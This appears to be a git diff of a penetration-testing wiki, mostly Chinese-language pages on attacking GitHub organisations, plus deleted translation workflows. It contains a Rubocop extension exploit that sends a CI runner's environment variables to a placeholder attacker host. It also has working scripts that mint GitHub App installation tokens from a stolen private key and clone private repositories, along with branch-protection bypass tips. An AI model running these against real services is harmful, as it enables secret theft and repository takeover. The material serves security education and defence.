LANGUAGE: Turkish
BRANCH: tr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to UK (Ukranian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: uk
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Ukranian
BRANCH: uk
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to ZH (Chinese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: zh
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Chinese
BRANCH: zh
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -18,7 +18,7 @@ Github 仓库可以配置为公共、私有和内部。
- **私有**意味着**只有**组织中的人才能访问它们
- **内部**意味着**只有**企业中的人(一个企业可能有多个组织)才能访问它
- **公共**意味着**所有互联网**都可以访问它。
- **公共**意味着**所有互联网**用户都可以访问它。
如果你知道**要针对的用户、仓库或组织**,你可以使用**github dorks**来查找敏感信息或搜索**每个仓库中的敏感信息泄露**。
@@ -28,34 +28,28 @@ Github 允许**通过指定用户、仓库或组织作为范围来搜索某些
工具(每个工具包含其 dorks 列表):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) [Dorks 列表](https://github.com/obheda12/GitDorker/tree/master/Dorks)
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) [Dorks 列表](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) [Dorks 列表](https://github.com/hisxo/gitGraber/tree/master/wordlists)
### Github 泄露
请注意github dorks 也旨在使用 github 搜索选项查找泄露。本节专门介绍那些将**下载每个仓库并搜索其中敏感信息**的工具(甚至检查某些提交深度)。
请注意github dorks 也旨在使用 github 搜索选项查找泄露。此部分专门介绍那些将**下载每个仓库并搜索其中敏感信息**的工具(甚至检查某些提交深度)。
工具(每个工具包含其正则表达式列表):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
查看此页面:**[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> 当你在一个仓库中查找泄露并运行类似 `git log -p` 的命令时,不要忘记可能还有**其他分支和其他提交**包含秘密!
> 当你在一个仓库中查找泄露并运行类似 `git log -p` 的命令时,不要忘记可能存在**其他分支和其他提交**包含秘密!
### 外部分支
可以通过**滥用拉取请求来妥协仓库**。要知道一个仓库是否脆弱,你主要需要阅读 Github Actions yaml 配置。[**更多信息见下文**](./#execution-from-a-external-fork)。
可以通过滥用拉取请求来**妥协仓库**。要知道一个仓库是否脆弱,你主要需要查看 Github Actions yaml 配置。 [**更多信息见下文**](#execution-from-a-external-fork)。
### 删除/内部分支中的 Github 泄露
即使是删除或内部的,也可能从 github 仓库的分支中获取敏感数据。请在此查看:
即使是删除或内部的,也可能从 github 仓库的分支中获取敏感数据。请在此查看:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -65,20 +59,20 @@ accessible-deleted-data-in-github.md
### 成员权限
可以分配给组织**成员**的一些**默认权限**。这些可以从页面 `https://github.com/organizations/<org_name>/settings/member_privileges` 或从 [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) 控制。
可以分配一些**默认权限**给组织的**成员**。这些可以从页面 `https://github.com/organizations/<org_name>/settings/member_privileges` 或从 [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) 控制。
- **基本权限**:成员将对组织仓库拥有 None/Read/write/Admin 权限。推荐使用**None**或**Read**。
- **基本权限**:成员将对组织仓库拥有 None/Read/write/Admin 权限。推荐设置为**None**或**Read**。
- **仓库分叉**:如果不必要,最好**不允许**成员分叉组织仓库。
- **页面创建**:如果不必要,最好**不允许**成员从组织仓库发布页面。如果必要,可以允许创建公共或私有页面。
- **集成访问请求**:启用此选项后,外部协作者将能够请求访问此组织及其资源的 GitHub 或 OAuth 应用。通常是需要的,但如果不需要,最好禁用它。
- **集成访问请求**:启用此功能后,外部协作者将能够请求访问 GitHub 或 OAuth 应用程序以访问该组织及其资源。通常是需要的,但如果不需要,最好禁用它。
- _我在 API 响应中找不到此信息如果你找到了请分享_
- **仓库可见性更改**:如果启用,具有**管理员**权限的**成员**将能够**更改其可见性**。如果禁用,只有组织所有者可以更改仓库的可见性。如果你**不**希望人们将内容**公开**,请确保此选项**禁用**。
- _我在 API 响应中找不到此信息如果你找到了请分享_
- **仓库删除和转移**:如果启用,具有**管理员**权限的成员将能够**删除**或**转移**公共和私有**仓库**。
- _我在 API 响应中找不到此信息如果你找到了请分享_
- **允许成员创建团队**:如果启用,任何**成员**将能够**创建**新**团队**。如果禁用,只有组织所有者可以创建新团队。最好将此选项禁用。
- **允许成员创建团队**:如果启用,任何组织的**成员**将能够**创建**新**团队**。如果禁用,只有组织所有者可以创建新团队。最好将此选项禁用。
- _我在 API 响应中找不到此信息如果你找到了请分享_
- **此页面上可以配置更多内容**,但前面的内容是与安全性相关的内容
- **更多设置可以在此页面配置**,但前面的设置是与安全性相关的。
### Actions 设置
@@ -91,32 +85,32 @@ accessible-deleted-data-in-github.md
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **来自外部协作者的拉取请求工作流**:建议**要求所有**外部协作者的批准。
- _我找不到包含此信息的 API如果你找到了请分享_
- **从拉取请求运行工作流**:强烈**不建议从拉取请求运行工作流**,因为分支来源的维护者将获得使用具有读取权限的令牌访问源仓库的能力。
- **从拉取请求运行工作流**:强烈**不建议从拉取请求运行工作流**,因为分支来源的维护者将获得使用具有读取权限的源仓库令牌的能力。
- _我找不到包含此信息的 API如果你找到了请分享_
- **工作流权限**:强烈建议**仅授予读取仓库权限**。不建议授予写入和创建/批准拉取请求的权限,以避免滥用授予运行工作流的 GITHUB_TOKEN。
- **工作流权限**:强烈建议**仅授予读取仓库权限**。不建议授予写入和创建/批准拉取请求的权限,以避免滥用提供给运行工作流的 GITHUB_TOKEN。
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### 集成
_如果你知道访问此信息的 API 端点,请告诉我!_
- **第三方应用访问策略**:建议限制对每个应用的访问,仅允许必要的应用(在审核后)。
- **已安装的 GitHub 应用**:建议仅允许必要的应用(在审核后)。
- **第三方应用程序访问策略**:建议限制对每个应用程序的访问,仅允许必要的应用程序(在审核后)。
- **已安装的 GitHub 应用程序**:建议仅允许必要的应用程序(在审核后)。
## 侦查与用凭证的攻击
## 侦查与用凭证的攻击
在此场景中,我们假设你已经获得了对一个 github 账户的某些访问权限。
### 使用用户凭证
如果你以某种方式已经获得了组织内某个用户的凭证,你可以**直接登录**并检查你拥有的**企业和组织角色**,如果你是普通成员,检查普通成员拥有的**权限**、你所在的**组**、你对哪些**仓库**拥有**权限**,以及**这些仓库是如何保护的**。
如果你以某种方式已经获得了组织内某个用户的凭证,你可以**直接登录**并检查你拥有的**企业和组织角色**,如果你是普通成员,检查普通成员拥有的**权限**、你所在的**组**、你对哪些**仓库**拥有**权限**,以及**这些仓库是如何保护的**。
请注意,**可能会使用 2FA**,因此你只能在能够**通过该检查**的情况下访问此信息。
> [!NOTE]
> 请注意,如果你**设法窃取了 `user_session` cookie**(当前配置为 SameSite: Lax你可以**完全冒充用户**,而无需凭证或 2FA。
> 请注意,如果你**设法窃取了 `user_session` cookie**(当前配置为 SameSite: Lax你可以**完全冒充用户**,而无需凭证或 2FA。
查看下面关于 [**分支保护绕过**](./#branch-protection-bypass) 的部分,以防有用。
查看下面关于 [**分支保护绕过**](#branch-protection-bypass) 的部分,以防有用。
### 使用用户 SSH 密钥
@@ -128,9 +122,9 @@ Github 允许**用户**设置**SSH 密钥**,作为**代表他们部署代码
# Get repo config and current user name and email
git config --list
```
如果用户将其用户名配置为他的 github 用户名,您可以访问他账户中设置的 **公钥**,网址为 _https://github.com/\<github_username>.keys_您可以检查此以确认您找到的私钥是否可以使用。
如果用户将其用户名配置为他的 github 用户名,您可以访问他账户中设置的 **公钥**,网址为 _https://github.com/\<github_username>.keys_您可以检查此以确认您找到的私钥是否可以使用。
**SSH 密钥** 也可以在仓库中设置为 **部署密钥**。任何拥有此密钥的人都能够 **从仓库启动项目**。通常在具有不同部署密钥的服务器上,本地文件 **`~/.ssh/config`** 将提供与密钥相关的信息。
**SSH 密钥** 也可以在仓库中设置为 **部署密钥**。任何拥有此密钥的人都能够 **从仓库启动项目**。通常在具有不同部署密钥的服务器上,本地文件 **`~/.ssh/config`** 将提供与密钥相关的信息。
#### GPG 密钥
@@ -142,59 +136,209 @@ gpg --list-secret-keys --keyid-format=long
```
### 使用用户令牌
有关[**用户令牌的介绍,请查看基本信息**](basic-github-information.md#personal-access-tokens)。
有关[**用户令牌的基本信息**](basic-github-information.md#personal-access-tokens)的介绍
用户令牌可以用作**HTTPS Git的密码**,或用于[**通过基本身份验证对API进行身份验证**](https://docs.github.com/v3/auth/#basic-authentication)。根据附加的权限,您可能能够执行不同的操作。
用户令牌可以**替代密码**用于通过 HTTPS 进行 Git 操作,或用于[**通过基本身份验证对 API 进行身份验证**](https://docs.github.com/v3/auth/#basic-authentication)。根据附加的权限,您可能能够执行不同的操作。
用户令牌的格式如下:`ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### 使用Oauth应用程序
### 使用 Oauth 应用程序
有关[**Github Oauth应用程序的介绍,请查看基本信息**](basic-github-information.md#oauth-applications)。
有关[**Github Oauth 应用程序的基本信息**](basic-github-information.md#oauth-applications)的介绍
攻击者可能创建一个**恶意Oauth应用程序**,以访问接受它们的用户的特权数据/操作,可能作为网络钓鱼活动的一部分。
攻击者可能创建一个**恶意 Oauth 应用程序**,以访问接受它们的用户的特权数据/操作,可能网络钓鱼活动的一部分。
是[Oauth应用程序可以请求的范围](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)。在接受之前,应该始终检查请求的范围。
这是[Oauth 应用程序可以请求的范围](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)。在接受之前,应该始终检查请求的范围。
此外,如基本信息中所述,**组织可以授予/拒绝第三方应用程序对与组织相关的信息/仓库/操作的访问**。
此外,如基本信息中所述,**组织可以授予/拒绝第三方应用程序对与组织相关的信息/仓库/操作的访问权限**。
### 使用Github应用程序
### 使用 Github 应用程序
有关[**Github应用程序的介绍,请查看基本信息**](basic-github-information.md#github-applications)。
有关[**Github 应用程序的基本信息**](basic-github-information.md#github-applications)的介绍
攻击者可能创建一个**恶意Github应用程序**,以访问接受它们的用户的特权数据/操作,可能作为网络钓鱼活动的一部分。
攻击者可能创建一个**恶意 Github 应用程序**,以访问接受它们的用户的特权数据/操作,可能网络钓鱼活动的一部分。
此外,如基本信息中所述,**组织可以授予/拒绝第三方应用程序对与组织相关的信息/仓库/操作的访问**。
此外,如基本信息中所述,**组织可以授予/拒绝第三方应用程序对与组织相关的信息/仓库/操作的访问权限**。
#### 使用其私钥JWT → 安装访问令牌)冒充 GitHub 应用程序
如果您获得了 GitHub 应用程序的私钥PEM您可以在其所有安装中完全冒充该应用程序
- 生成一个使用私钥签名的短期 JWT
- 调用 GitHub 应用程序 REST API 列举安装
- 铸造每个安装的访问令牌,并使用它们列出/克隆/推送到授予该安装的仓库
要求:
- GitHub 应用程序私钥PEM
- GitHub 应用程序 ID数字。GitHub 要求 iss 为应用程序 ID
创建 JWTRS256
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
列出经过身份验证的应用程序的安装:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
创建一个安装访问令牌有效期≤10分钟
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
使用令牌访问代码。您可以使用 xaccesstoken URL 形式进行克隆或推送:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
程序化的 PoC 以针对特定组织并列出私有仓库 (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
注意:
- 安装令牌完全继承应用程序的仓库级权限例如contents: write, pull_requests: write
- 令牌在≤10分钟内过期但只要保留私钥可以无限期生成新令牌
- 您还可以通过REST APIGET /app/installations使用JWT枚举安装
## 破坏与滥用Github Action
有几种技术可以破坏和滥用Github Action请在此查看:
有几种技术可以破坏和滥用Github Action查看它们
{{#ref}}
abusing-github-actions/
{{#endref}}
## 滥用运行外部工具的第三方GitHub应用程序Rubocop扩展RCE
一些GitHub应用程序和PR审查服务使用仓库控制的配置文件对拉取请求执行外部代码检查/SAST。如果支持的工具允许动态代码加载PR可以在服务的运行器上实现RCE。
示例Rubocop支持从其YAML配置加载扩展。如果服务通过提供的.reporubocop.yml您可以通过要求本地文件执行任意Ruby代码。
- 触发条件通常包括:
- 工具在服务中已启用
- PR包含工具识别的文件对于Rubocop.rb
- 仓库包含工具的配置文件Rubocop在任何地方搜索.rubocop.yml
在PR中的利用文件
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (提取运行环境变量):
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
也包括一个足够大的虚拟 Ruby 文件例如main.rb以便 linter 实际运行。
在实际中观察到的影响:
- 在执行 linter 的生产运行器上完全执行代码
- 外泄敏感环境变量,包括服务使用的 GitHub App 私钥、API 密钥、数据库凭证等。
- 使用泄露的 GitHub App 私钥,您可以生成安装令牌并获得对该应用程序授予的所有存储库的读/写访问权限(请参见上面关于 GitHub App 冒充的部分)
运行外部工具的服务的加固指南:
- 将存储库提供的工具配置视为不受信任的代码
- 在严格隔离的沙箱中执行工具,不挂载敏感环境变量
- 应用最小权限凭证和文件系统隔离,并限制/拒绝不需要互联网访问的工具的出站网络流量
## 分支保护绕过
- **要一定数量的批准**:如果您破坏了多个帐户,您可能只需其他帐户接受您的PR。如果您只有创建PR的帐户则无法接受自己的PR。但是如果您可以访问库中的**Github Action**环境,使用**GITHUB_TOKEN**,您可能能够**批准您的PR**并以这种方式获得1个批准。
- _注意对于此以及代码所有者限制通常用户无法批准自己的PR但如果您可以您可以利用它来接受您的PR。_
- **要一定数量的批准**:如果您妥协了多个帐户,您可能只需接受其他帐户的 PR。如果您只有创建 PR 的帐户,则无法接受自己的 PR。但是如果您可以访问存储库中的 **Github Action** 环境,使用 **GITHUB_TOKEN**,您可能能够 **批准您的 PR** 并以这种方式获得 1 次批准。
- _注意对于此以及代码所有者限制通常用户无法批准自己的 PR但如果您可以您可以利用它来接受自己的 PR。_
- **在推送新提交时撤销批准**:如果未设置此项,您可以提交合法代码,等待某人批准,然后放入恶意代码并将其合并到受保护的分支中。
- **要代码所有者的审查**:如果此项已激活且您是代码所有者,您可以让**Github Action创建您的PR然后自己批准它**。
- 当**CODEOWNER文件配置错误**Github不会抱怨不会使用它。因此,如果配置错误,**代码所有者保护将不适用。**
- **要代码所有者的审查**:如果启用此项且您是代码所有者,您可以让 **Github Action 创建您的 PR然后自己批准它**
- **CODEOWNER 文件配置错误** GitHub 不会抱怨,但不会使用它。因此,如果配置错误,**代码所有者保护将不适用。**
- **允许指定的参与者绕过拉取请求要求**:如果您是这些参与者之一,您可以绕过拉取请求保护。
- **包括管理员**:如果未设置此项且您是库的管理员,您可以绕过此分支保护。
- **PR劫持**:您可能能够**修改其他人的PR**添加恶意代码自己批准结果PR并合并所有内容。
- **移除分支保护**:如果您是**仓库的管理员,您可以禁用保护**合并您的PR并重新设置保护。
- **绕过推送保护**:如果一个仓库**仅允许某些用户**在分支中发送推送(合并代码)(分支保护可能保护所有分支,指定通配符`*`)。
- 如果您对仓库**具有写入权限,但由于分支保护不允许推送代码**,您仍然可以**创建一个新分支**,并在其中创建一个**在推送代码时触发的github action**。由于**分支保护在分支创建之前不会保护该分支**,因此对该分支的第一次代码推送将**执行github action**。
- **包括管理员**:如果未设置此项且您是存储库的管理员,您可以绕过此分支保护。
- **PR 劫持**:您可能能够 **修改其他人的 PR**,添加恶意代码,自己批准结果 PR 并合并所有内容。
- **移除分支保护**:如果您是 **存储库的管理员,您可以禁用保护**,合并您的 PR 并重新设置保护。
- **绕过推送保护**:如果存储库 **仅允许某些用户** 在分支中发送推送(合并代码)(分支保护可能保护所有分支,指定通配符 `*`)。
- 如果您对存储库 **具有写入访问权限,但由于分支保护不允许推送代码**,您仍然可以 **创建一个新分支**,并在其中创建一个 **在代码推送时触发的 github action**。由于 **分支保护在创建之前不会保护该分支**,因此对该分支的第一次代码推送将 **执行 github action**
## 绕过环境保护
有关[**Github环境的介绍请查看基本信息**](basic-github-information.md#git-environments)。
有关 [**Github 环境的介绍,请查看基本信息**](basic-github-information.md#git-environments)。
如果一个环境可以**从所有分支访问**,则**没有保护**,您可以轻松访问环境中的密。请注意,您可能会发现某些仓库**所有分支都受到保护**(通过指定其名称或使用`*`),在这种情况下,**找到一个可以推送代码的分支**,您可以**通过创建新的github action或修改一个提取**机密。
如果一个环境可以 **从所有分支访问**,则**没有保护**,您可以轻松访问环境中的密。请注意,您可能会发现某些存储库 **所有分支都受到保护**(通过指定其名称或使用 `*`),在这种情况下,**找到一个可以推送代码的分支**,您可以 **通过创建新的 github action或修改一个外泄**密。
请注意,您可能会发现边缘情况,其中**所有分支都受到保护**(通过通配符`*`),并指定**谁可以向分支推送代码**_您可以在分支保护中指定_**您的用户不被允许**。您仍然可以运行自定义github action因为您可以创建一个分支并在其上使用推送触发器。**分支保护允许推送到新分支因此github action将被触发**。
请注意,您可能会发现边缘情况,其中 **所有分支都受到保护**(通过通配符 `*`),并指定 **谁可以向分支推送代码**_您可以在分支保护中指定_并且 **您的用户不被允许**。您仍然可以运行自定义 github action因为您可以创建一个分支并在其上使用推送触发器。**分支保护允许推送到新分支,因此 github action 将被触发**。
```yaml
push: # Run it when a push is made to a branch
branches:
@@ -233,4 +377,12 @@ echo 'hello world!'
```
有关更多信息,请查看 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## 参考文献
- [我们如何利用 CodeRabbit从一个简单的 PR 到 RCE 和对 100 万个代码库的写入访问](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop 扩展(需要)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [使用 GitHub 应用进行身份验证JWT](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [列出已验证应用的安装](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [为应用创建安装访问令牌](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,48 +1,142 @@
# Amazon Macie
## 介绍
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macie 是一种数据安全服务,通过使用机器学习和模式匹配来发现敏感数据,提供数据安全风险的可见性,并能够对这些风险进行自动保护。
## Macie
Amazon Macie 是一项旨在 **自动检测、分类和识别数据** 的服务,适用于 AWS 账户。它利用 **机器学习** 持续监控和分析数据,主要关注通过检查 **cloud trail event** 数据和用户行为模式来检测和警报异常或可疑活动。
Amazon Macie 的主要特点:
1. **主动数据审查**:利用机器学习在 AWS 账户内各种操作发生时主动审查数据。
2. **异常检测**:识别不规则活动或访问模式,生成警报以减轻潜在的数据暴露风险。
3. **持续监控**:自动监控和检测 Amazon S3 中的新数据,利用机器学习和人工智能随着时间的推移适应数据访问模式。
4. **使用 NLP 进行数据分类**:利用自然语言处理 (NLP) 对不同数据类型进行分类和解释,分配风险评分以优先处理发现。
5. **安全监控**:识别安全敏感数据,包括 API 密钥、秘密密钥和个人信息,帮助防止数据泄露。
Amazon Macie 是一项 **区域服务**,需要 'AWSMacieServiceCustomerSetupRole' IAM 角色和启用的 AWS CloudTrail 才能正常工作。
### 警报系统
Macie 将警报分类为预定义类别,如:
- 匿名访问
- 数据合规
- 凭证丢失
- 权限提升
- 勒索软件
- 可疑访问等。
这些警报提供详细描述和结果细分,以便有效响应和解决。
### 仪表板功能
仪表板将数据分类为多个部分,包括:
